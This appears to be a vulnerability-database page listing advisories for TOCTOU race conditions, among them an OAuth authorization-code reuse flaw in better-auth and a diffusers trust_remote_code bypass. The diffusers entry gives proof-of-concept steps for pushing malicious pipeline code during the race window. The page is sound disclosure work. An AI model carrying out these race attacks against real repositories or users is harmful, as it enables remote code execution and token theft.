Common Weakness Enumeration

CWE-367

Allowed

Time-of-check Time-of-use (TOCTOU) Race Condition

Abstraction: Base · Status: Incomplete

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.

1066 vulnerabilities reference this CWE, most recent first.

GHSA-7QRF-MVGV-R448

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

Parallels Desktop Toolgate Time-Of-Check Time-Of-Use Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.

The specific flaw exists within the Toolgate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system. Was ZDI-CAN-18964.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:09Z",
    "severity": "HIGH"
  },
  "details": "Parallels Desktop Toolgate Time-Of-Check Time-Of-Use Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Toolgate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system. Was ZDI-CAN-18964.",
  "id": "GHSA-7qrf-mvgv-r448",
  "modified": "2024-05-03T03:30:47Z",
  "published": "2024-05-03T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27327"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-215"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R55-MP9R-C8PJ

Vulnerability from github – Published: 2023-11-14 21:31 – Updated: 2024-02-13 21:30
VLAI
Details

TOCTOU in the ASP Bootloader may allow an attacker with physical access to tamper with SPI ROM records after memory content verification, potentially leading to loss of confidentiality or a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-20521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T19:15:15Z",
    "severity": "MODERATE"
  },
  "details": "TOCTOU in the ASP Bootloader may allow an attacker with physical access to tamper with SPI ROM records after memory content verification, potentially leading to loss of confidentiality or a denial of service.\n\n\n\n\n\n\n\n\n\n\n\n\n",
  "id": "GHSA-7r55-mp9r-c8pj",
  "modified": "2024-02-13T21:30:25Z",
  "published": "2023-11-14T21:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20521"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-3002"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-4002"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-5001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7VC9-VX7C-89WF

Vulnerability from github – Published: 2026-05-21 15:34 – Updated: 2026-05-21 15:34
VLAI
Details

A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent cache mechanism could allow a local attacker to escalate privileges on affected installations.

Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 & 2005 Yearly Release).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-71216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-21T14:16:44Z",
    "severity": "HIGH"
  },
  "details": "A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent cache mechanism could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 \u0026 2005 Yearly Release).",
  "id": "GHSA-7vc9-vx7c-89wf",
  "modified": "2026-05-21T15:34:09Z",
  "published": "2026-05-21T15:34:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71216"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/en-US/solution/KA-0022458"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-26-142"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7VGH-977H-8447

Vulnerability from github – Published: 2024-06-11 18:30 – Updated: 2024-06-11 18:30
VLAI
Details

Windows Kernel Elevation of Privilege Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T17:15:58Z",
    "severity": "HIGH"
  },
  "details": "Windows Kernel Elevation of Privilege Vulnerability",
  "id": "GHSA-7vgh-977h-8447",
  "modified": "2024-06-11T18:30:49Z",
  "published": "2024-06-11T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30099"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30099"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7W8H-H4PJ-JGJQ

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31
VLAI
Details

An unprivileged user can delete arbitrary files on a Linux system running ENSLTP 10.5.1, 10.5.0, and 10.2.3 Hotfix 1246778 and earlier. By exploiting a time of check to time of use (TOCTOU) race condition during a specific scanning sequence, the unprivileged user is able to perform a privilege escalation to delete arbitrary files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-6693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-18T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An unprivileged user can delete arbitrary files on a Linux system running ENSLTP 10.5.1, 10.5.0, and 10.2.3 Hotfix 1246778 and earlier. By exploiting a time of check to time of use (TOCTOU) race condition during a specific scanning sequence, the unprivileged user is able to perform a privilege escalation to delete arbitrary files.",
  "id": "GHSA-7w8h-h4pj-jgjq",
  "modified": "2022-05-13T01:31:56Z",
  "published": "2022-05-13T01:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6693"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10248"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7W99-5WM4-3G79

Vulnerability from github – Published: 2026-07-07 20:56 – Updated: 2026-07-07 20:56
VLAI
Summary
@better-auth/oauth-provider's OAuth authorization-code grant allows concurrent redemption when two token requests race the find-then-delete primitive
Details

Am I affected?

Users are affected if all of the following are true:

  • Their project depends on @better-auth/oauth-provider at a version >= 1.6.0, < 1.6.11, or uses the embedded plugin in better-auth >= 1.4.8-beta.7, < 1.6.0, or enables the legacy oidc-provider or mcp plugins from better-auth/plugins.
  • Their application exposes /api/auth/oauth2/token (or the legacy plugins' /oauth2/token and /mcp/token) as a token endpoint to OAuth/OIDC clients, including internal MCP clients (Claude Desktop, custom MCP tool callers, AI agents).
  • Their application has not implemented an external mitigation: a load-balancer-level idempotency cache keyed by code, a database trigger that rejects duplicate token issuance for the same authorization code, or a custom adapter override that performs an atomic compare-and-delete.

Fix:

  1. Upgrade to @better-auth/oauth-provider@1.6.11 or later. If developers use the legacy plugin paths from better-auth/plugins, upgrade better-auth to 1.6.11 or later.
  2. If developers cannot upgrade, see workarounds below.

Summary

The OAuth provider's POST /oauth2/token endpoint, on the authorization_code grant, redeems a single-use authorization code through a non-atomic find-then-delete sequence. Two concurrent requests with the same code value both pass the read step before either delete completes, then both proceed to PKCE verification and createUserTokens. Each surviving request mints a fresh access token, refresh token, and id token. RFC 6749 §4.1.2 requires authorization codes to be single-use; this primitive does not enforce that under concurrency.

Details

The same architectural primitive (find a single-use verification row, then delete it, then trust the row to authorize) is used in 20 other call sites across the codebase. The deletion primitive returns Promise<void>, discarding the row count surfaced by adapter.deleteMany, so no call site can detect "another caller already claimed this row". The fix lands at the primitive layer rather than at any individual call site.

The fix introduces a claimVerificationByIdentifier primitive at the internal-adapter layer that performs an atomic claim-and-return, replaces the find-then-delete pair at this call site, and migrates the highest-impact variant sites in the same release.

Patches

Fixed in @better-auth/oauth-provider@1.6.11 and better-auth@1.6.11 for the legacy oidc-provider and mcp plugin paths. All three token-exchange call sites now consume the verification row through internalAdapter.consumeVerificationValue, an atomic claim primitive that deletes the row and returns its prior value in one operation. The first request to arrive takes the row and mints tokens; concurrent racers observe an empty result and return invalid_grant.

Error-code consistency is also tightened on the @better-auth/oauth-provider token endpoint: the malformed-verification-value branches previously returned a project-specific invalid_verification code, which is not part of RFC 6749 §5.2's response error set. Both branches now return invalid_grant so spec-compliant clients can branch on the standard code without a special case.

Workarounds

None of these close the bug fully without a code patch. Upgrading is the only good path.

  • Network-layer: deploy an authorization-server-aware reverse proxy (Envoy, NGINX with Lua, custom Cloudflare Worker) that holds an in-flight registry keyed by the code parameter and serializes concurrent requests for the same code. Fragile under multi-instance deployments unless the registry is shared (Redis-backed).
  • Database-layer: add a SQL or Mongo uniqueness constraint that prevents two oauthAccessToken rows from being created with the same upstream code reference. Adapter-specific and not always feasible since the schema does not currently store the source code.
  • Application-layer: wrap deleteVerificationByIdentifier with a custom hook that uses adapter.deleteMany and surfaces the count, then injects an invalid_grant rejection when the count is zero. Requires forking the internal adapter.

Impact

  • Multiple independent token sets from a single authorization: forked access tokens, refresh tokens, and id tokens issued from the same code, all valid for the original user's authorization scope.
  • Detection bypass: standard OAuth single-use enforcement does not fire for the second redemption when both requests interleave through the read step.
  • Legacy-plugin reach: oidc-provider and mcp plugins share the primitive on the same surface, so deployments using them inherit the same impact.

Credit

Reported by @chdanielmueller.

Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@better-auth/oauth-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "better-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294",
      "CWE-362",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T20:56:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their project depends on `@better-auth/oauth-provider` at a version `\u003e= 1.6.0, \u003c 1.6.11`, or uses the embedded plugin in `better-auth \u003e= 1.4.8-beta.7, \u003c 1.6.0`, or enables the legacy `oidc-provider` or `mcp` plugins from `better-auth/plugins`.\n- Their application exposes `/api/auth/oauth2/token` (or the legacy plugins\u0027 `/oauth2/token` and `/mcp/token`) as a token endpoint to OAuth/OIDC clients, including internal MCP clients (Claude Desktop, custom MCP tool callers, AI agents).\n- Their application has not implemented an external mitigation: a load-balancer-level idempotency cache keyed by `code`, a database trigger that rejects duplicate token issuance for the same authorization code, or a custom adapter override that performs an atomic compare-and-delete.\n\nFix:\n\n1. Upgrade to `@better-auth/oauth-provider@1.6.11` or later. If developers use the legacy plugin paths from `better-auth/plugins`, upgrade `better-auth` to `1.6.11` or later.\n2. If developers cannot upgrade, see workarounds below.\n\n### Summary\n\nThe OAuth provider\u0027s `POST /oauth2/token` endpoint, on the `authorization_code` grant, redeems a single-use authorization code through a non-atomic find-then-delete sequence. Two concurrent requests with the same `code` value both pass the read step before either delete completes, then both proceed to PKCE verification and `createUserTokens`. Each surviving request mints a fresh access token, refresh token, and id token. RFC 6749 \u00a74.1.2 requires authorization codes to be single-use; this primitive does not enforce that under concurrency.\n\n### Details\n\nThe same architectural primitive (find a single-use verification row, then delete it, then trust the row to authorize) is used in 20 other call sites across the codebase. The deletion primitive returns `Promise\u003cvoid\u003e`, discarding the row count surfaced by `adapter.deleteMany`, so no call site can detect \"another caller already claimed this row\". The fix lands at the primitive layer rather than at any individual call site.\n\nThe fix introduces a `claimVerificationByIdentifier` primitive at the internal-adapter layer that performs an atomic claim-and-return, replaces the find-then-delete pair at this call site, and migrates the highest-impact variant sites in the same release.\n\n### Patches\n\nFixed in `@better-auth/oauth-provider@1.6.11` and `better-auth@1.6.11` for the legacy `oidc-provider` and `mcp` plugin paths. All three token-exchange call sites now consume the verification row through `internalAdapter.consumeVerificationValue`, an atomic claim primitive that deletes the row and returns its prior value in one operation. The first request to arrive takes the row and mints tokens; concurrent racers observe an empty result and return `invalid_grant`.\n\nError-code consistency is also tightened on the `@better-auth/oauth-provider` token endpoint: the malformed-verification-value branches previously returned a project-specific `invalid_verification` code, which is not part of RFC 6749 \u00a75.2\u0027s response error set. Both branches now return `invalid_grant` so spec-compliant clients can branch on the standard code without a special case.\n\n### Workarounds\n\nNone of these close the bug fully without a code patch. Upgrading is the only good path.\n\n- **Network-layer**: deploy an authorization-server-aware reverse proxy (Envoy, NGINX with Lua, custom Cloudflare Worker) that holds an in-flight registry keyed by the `code` parameter and serializes concurrent requests for the same code. Fragile under multi-instance deployments unless the registry is shared (Redis-backed).\n- **Database-layer**: add a SQL or Mongo uniqueness constraint that prevents two `oauthAccessToken` rows from being created with the same upstream code reference. Adapter-specific and not always feasible since the schema does not currently store the source code.\n- **Application-layer**: wrap `deleteVerificationByIdentifier` with a custom hook that uses `adapter.deleteMany` and surfaces the count, then injects an `invalid_grant` rejection when the count is zero. Requires forking the internal adapter.\n\n### Impact\n\n- **Multiple independent token sets from a single authorization**: forked access tokens, refresh tokens, and id tokens issued from the same code, all valid for the original user\u0027s authorization scope.\n- **Detection bypass**: standard OAuth single-use enforcement does not fire for the second redemption when both requests interleave through the read step.\n- **Legacy-plugin reach**: `oidc-provider` and `mcp` plugins share the primitive on the same surface, so deployments using them inherit the same impact.\n\n### Credit\n\nReported by @chdanielmueller.\n\n### Resources\n\n- [CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-294: Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [RFC 6749 \u00a74.1.2: Authorization Response](https://datatracker.ietf.org/doc/html/rfc6749#section-4.1.2)\n- [OAuth 2.1 \u00a74.1: Authorization Code Grant](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1#section-4.1)",
  "id": "GHSA-7w99-5wm4-3g79",
  "modified": "2026-07-07T20:56:35Z",
  "published": "2026-07-07T20:56:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-7w99-5wm4-3g79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@better-auth/oauth-provider\u0027s OAuth authorization-code grant allows concurrent redemption when two token requests race the find-then-delete primitive"
}

GHSA-7WX3-R5H3-P5X3

Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31
VLAI
Details

Windows Kernel-Mode Driver Elevation of Privilege Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-13T18:15:27Z",
    "severity": "HIGH"
  },
  "details": "Windows Kernel-Mode Driver Elevation of Privilege Vulnerability",
  "id": "GHSA-7wx3-r5h3-p5x3",
  "modified": "2024-08-13T18:31:17Z",
  "published": "2024-08-13T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38186"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38186"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7WX4-6VFF-V64P

Vulnerability from github – Published: 2026-05-20 15:31 – Updated: 2026-05-20 15:31
VLAI
Summary
Diffusers: TOCTOU Trust Remote Code Bypass
Details

Background

This vulnerability is found in the diffusers package - the transformers-equivalent library for diffusion models.

It is found in the DiffusionPipeline.from_pretrained flow, which is used to load a pipeline from the HuggingFace Hub.

This function has a trust_remote_code guard: if the repository’s model_index.json references a custom pipeline class defined in a .py file in the repo, the load is blocked unless trust_remote_code=True is explicitly passed:

ValueError: The repository for attacker/repo contains custom code in pipeline.py
which must be executed to correctly load the model. You can inspect the repository
content at https://hf.co/attacker/repo/blob/main/pipeline.py.
Please pass the argument `trust_remote_code=True` to allow custom code to be run.

The vulnerability allows arbitrary code execution through the custom pipeline flow from a Hub repo, with no custom_pipeline or trust_remote_code kwargs passed. The from_pretrained call succeeds and returns a functional pipeline.


Naive Flow

DiffusionPipeline.from_pretrained begins by popping all relevant arguments from kwargs into local variables, then calls DiffusionPipeline.download() to fetch the repo files:

# pipeline_utils.py:853
cached_folder = cls.download(
    pretrained_model_name_or_path,
    ...
    custom_pipeline=custom_pipeline,
    trust_remote_code=trust_remote_code,
    ...
)

Inside download(), model_index.json is fetched first as a standalone file via hf_hub_download:

# pipeline_utils.py:1636
config_file = hf_hub_download(
    pretrained_model_name,
    cls.config_name,
    ...
)
config_dict = cls._dict_from_json_file(config_file)

This config is used to detect custom pipeline code and enforce the trust check:

# pipeline_utils.py:1672
if custom_pipeline is None and isinstance(config_dict["_class_name"], (list, tuple)):
    custom_pipeline = config_dict["_class_name"][0]

load_pipe_from_hub = custom_pipeline is not None and f"{custom_pipeline}.py" in filenames

if load_pipe_from_hub and not trust_remote_code:
    raise ValueError(...)

After the check passes, snapshot_download then fetches all files and saves them to disk:

# pipeline_utils.py:1778
cached_folder = snapshot_download(
    pretrained_model_name,
    ...
    revision=revision,
    allow_patterns=allow_patterns,
    ...
)

Back in from_pretrained, the config is read a second time from the downloaded snapshot, and_resolve_custom_pipeline_and_cls reads the config to re-check if custom code needs to be loaded:

# pipeline_loading_utils.py:974
def _resolve_custom_pipeline_and_cls(folder, config, custom_pipeline):
    custom_class_name = None
    if os.path.isfile(os.path.join(folder, f"{custom_pipeline}.py")):
        custom_pipeline = os.path.join(folder, f"{custom_pipeline}.py")
    elif isinstance(config["_class_name"], (list, tuple)) and os.path.isfile(
        os.path.join(folder, f"{config['_class_name'][0]}.py")
    ):
        custom_pipeline = os.path.join(folder, f"{config['_class_name'][0]}.py")
        custom_class_name = config["_class_name"][1]

    return custom_pipeline, custom_class_name

If the config points to a .py file, it is imported.


The Vulnerability

hf_hub_download and snapshot_download are two independent HTTP calls to the Hub, both resolving the repository’s default branch (if revision=None) to its current HEAD at call time. There is no atomicity guarantee between them - if the repository is updated between the two calls, they will resolve to different commits and download different content, with no warning displayed to the user.

The trust check in download() operates on the content fetched by hf_hub_download (commit A). The snapshot_download call that immediately follows can silently fetch a newer commit (commit B). The config in the newer commit will be the one parsed by _resolve_custom_pipeline_and_cls.

Therefore, it’s possible to introduce remote code into the repo between the two calls, bypassing the trust check.

The race window is everything between the two Hub calls inside download():

# pipeline_utils.py:1636
config_file = hf_hub_download(...)   # ← sees commit A, trust check passes

# ... filenames processing, pattern building, pipeline_is_cached check ...
# ~~~ ATTACKER PUSHES COMMIT B HERE ~~~

# pipeline_utils.py:1778
cached_folder = snapshot_download(...)  # ← sees commit B, downloads pipeline.py

For the exploit, commit A carries a clean config with _class_name as a plain string, which causes load_pipe_from_hub to be False and the trust check to pass. Commit B changes _class_name to a list and adds pipeline.py:

Commit A - model_index.json:

{
  "_class_name": "FluxPipeline",
  "_diffusers_version": "0.31.0"
}

Commit B - model_index.json:

{
  "_class_name": ["pipeline", "FluxPipeline"],
  "_diffusers_version": "0.31.0"
}

When from_pretrained reads the snapshot after download() returns, config["_class_name"] is now a list, pipeline.py exists on disk (fetched by snapshot_download), and _resolve_custom_pipeline_and_cls resolves custom_pipeline to the local path of that file. _get_pipeline_class then imports it - with no trust check at this point in the code.


PoC

  1. Create a Hub repo with commit A’s model_index.json (plain string _class_name).
  2. Run DiffusionPipeline.from_pretrained("attacker/repo") with a breakpoint set at pipeline_utils.py:1778 (the snapshot_download call). This is for the window to be large enough to manually respond to it.
  3. When execution pauses at the breakpoint, push commit B: update model_index.json to use a list _class_name and add pipeline.py.
  4. Resume execution.
  5. snapshot_download fetches commit B; /tmp/pwned is written during the subsequent _get_pipeline_class call.

Constraints

  • Does not apply when revision is pinned to a specific commit hash - both Hub calls resolve to the same content.
  • Does not apply when loading from a local directory.
  • If all expected files are already present in the local HF cache, download() returns early before reaching snapshot_download (line 1767 early-return), closing the race window. The exploit therefore requires a first (or forced) download.

Exploitability

The window between the two calls is very short. Local testing resulted in a window of approximately ~0.5 seconds for the attacker to push the change. This is, of course, unfeasible to accomplish for each and every new download. However, given a popular repo with many downloads per day, one may achieve statistical success by changing the repo’s state every once in a while or every few seconds, with some percentage of downloaders falling on the exact window.


Impact

The vulnerability is a silent RCE - it allows arbitrary code to be loaded through the custom pipeline flow from a Hub repo, with no custom_pipeline or trust_remote_code kwargs. The from_pretrained call succeeds and returns a fully functional pipeline.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "diffusers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.38.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:31:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Background\n\nThis vulnerability is found in the `diffusers` package - the `transformers`-equivalent library for diffusion models.\n\nIt is found in the `DiffusionPipeline.from_pretrained` flow, which is used to load a pipeline from the HuggingFace Hub.\n\nThis function has a `trust_remote_code` guard: if the repository\u2019s `model_index.json` references a custom pipeline class defined in a `.py` file in the repo, the load is blocked unless `trust_remote_code=True` is explicitly passed:\n\n```\nValueError: The repository for attacker/repo contains custom code in pipeline.py\nwhich must be executed to correctly load the model. You can inspect the repository\ncontent at https://hf.co/attacker/repo/blob/main/pipeline.py.\nPlease pass the argument `trust_remote_code=True` to allow custom code to be run.\n```\n\nThe vulnerability allows arbitrary code execution through the custom pipeline flow from a Hub repo, with no `custom_pipeline` or `trust_remote_code` kwargs passed. The `from_pretrained` call succeeds and returns a functional pipeline.\n\n---\n\n## Naive Flow\n\n`DiffusionPipeline.from_pretrained` begins by popping all relevant arguments from `kwargs` into local variables, then calls `DiffusionPipeline.download()` to fetch the repo files:\n\n```python\n# pipeline_utils.py:853\ncached_folder = cls.download(\n    pretrained_model_name_or_path,\n    ...\n    custom_pipeline=custom_pipeline,\n    trust_remote_code=trust_remote_code,\n    ...\n)\n```\n\nInside `download()`, `model_index.json` is fetched first as a standalone file via `hf_hub_download`:\n\n```python\n# pipeline_utils.py:1636\nconfig_file = hf_hub_download(\n    pretrained_model_name,\n    cls.config_name,\n    ...\n)\nconfig_dict = cls._dict_from_json_file(config_file)\n```\n\nThis config is used to detect custom pipeline code and enforce the trust check:\n\n```python\n# pipeline_utils.py:1672\nif custom_pipeline is None and isinstance(config_dict[\"_class_name\"], (list, tuple)):\n    custom_pipeline = config_dict[\"_class_name\"][0]\n\nload_pipe_from_hub = custom_pipeline is not None and f\"{custom_pipeline}.py\" in filenames\n\nif load_pipe_from_hub and not trust_remote_code:\n    raise ValueError(...)\n```\n\nAfter the check passes, `snapshot_download` then fetches all files and saves them to disk:\n\n```python\n# pipeline_utils.py:1778\ncached_folder = snapshot_download(\n    pretrained_model_name,\n    ...\n    revision=revision,\n    allow_patterns=allow_patterns,\n    ...\n)\n```\n\nBack in `from_pretrained`, the config is read a second time from the downloaded snapshot, and`_resolve_custom_pipeline_and_cls` reads the config to re-check if custom code needs to be loaded:\n\n```python\n# pipeline_loading_utils.py:974\ndef _resolve_custom_pipeline_and_cls(folder, config, custom_pipeline):\n    custom_class_name = None\n    if os.path.isfile(os.path.join(folder, f\"{custom_pipeline}.py\")):\n        custom_pipeline = os.path.join(folder, f\"{custom_pipeline}.py\")\n    elif isinstance(config[\"_class_name\"], (list, tuple)) and os.path.isfile(\n        os.path.join(folder, f\"{config[\u0027_class_name\u0027][0]}.py\")\n    ):\n        custom_pipeline = os.path.join(folder, f\"{config[\u0027_class_name\u0027][0]}.py\")\n        custom_class_name = config[\"_class_name\"][1]\n\n    return custom_pipeline, custom_class_name\n```\n\nIf the config points to a `.py` file, it is imported.\n\n---\n\n## The Vulnerability\n\n`hf_hub_download` and `snapshot_download` are two independent HTTP calls to the Hub, both resolving the repository\u2019s default branch (if `revision=None`) to its current HEAD at call time. There is no atomicity guarantee between them - if the repository is updated between the two calls, they will resolve to different commits and download different content, with no warning displayed to the user.\n\nThe trust check in `download()` operates on the content fetched by `hf_hub_download` (commit A). The `snapshot_download` call that immediately follows can silently fetch a newer commit (commit B). The config in the newer commit will be the one parsed by `_resolve_custom_pipeline_and_cls`.\n\n**Therefore, it\u2019s possible to introduce remote code into the repo between the two calls, bypassing the trust check.**\n\nThe race window is everything between the two Hub calls inside `download()`:\n\n```python\n# pipeline_utils.py:1636\nconfig_file = hf_hub_download(...)   # \u2190 sees commit A, trust check passes\n\n# ... filenames processing, pattern building, pipeline_is_cached check ...\n# ~~~ ATTACKER PUSHES COMMIT B HERE ~~~\n\n# pipeline_utils.py:1778\ncached_folder = snapshot_download(...)  # \u2190 sees commit B, downloads pipeline.py\n```\n\nFor the exploit, commit A carries a clean config with `_class_name` as a plain string, which causes `load_pipe_from_hub` to be `False` and the trust check to pass. Commit B changes `_class_name` to a list and adds `pipeline.py`:\n\n**Commit A - `model_index.json`:**\n\n```json\n{\n  \"_class_name\": \"FluxPipeline\",\n  \"_diffusers_version\": \"0.31.0\"\n}\n```\n\n**Commit B - `model_index.json`:**\n\n```json\n{\n  \"_class_name\": [\"pipeline\", \"FluxPipeline\"],\n  \"_diffusers_version\": \"0.31.0\"\n}\n```\n\nWhen `from_pretrained` reads the snapshot after `download()` returns, `config[\"_class_name\"]` is now a list, `pipeline.py` exists on disk (fetched by `snapshot_download`), and `_resolve_custom_pipeline_and_cls` resolves `custom_pipeline` to the local path of that file. `_get_pipeline_class` then imports it - with no trust check at this point in the code.\n\n---\n\n## PoC\n\n1. Create a Hub repo with commit A\u2019s `model_index.json` (plain string `_class_name`).\n2. Run `DiffusionPipeline.from_pretrained(\"attacker/repo\")` with a breakpoint set at `pipeline_utils.py:1778` (the `snapshot_download` call). This is for the window to be large enough to manually respond to it.\n3. When execution pauses at the breakpoint, push commit B: update `model_index.json` to use a list `_class_name` and add `pipeline.py`.\n4. Resume execution.\n5. `snapshot_download` fetches commit B; `/tmp/pwned` is written during the subsequent `_get_pipeline_class` call.\n\n---\n\n## Constraints\n\n- Does not apply when `revision` is pinned to a specific commit hash - both Hub calls resolve to the same content.\n- Does not apply when loading from a local directory.\n- If all expected files are already present in the local HF cache, `download()` returns early before reaching `snapshot_download` (line 1767 early-return), closing the race window. The exploit therefore requires 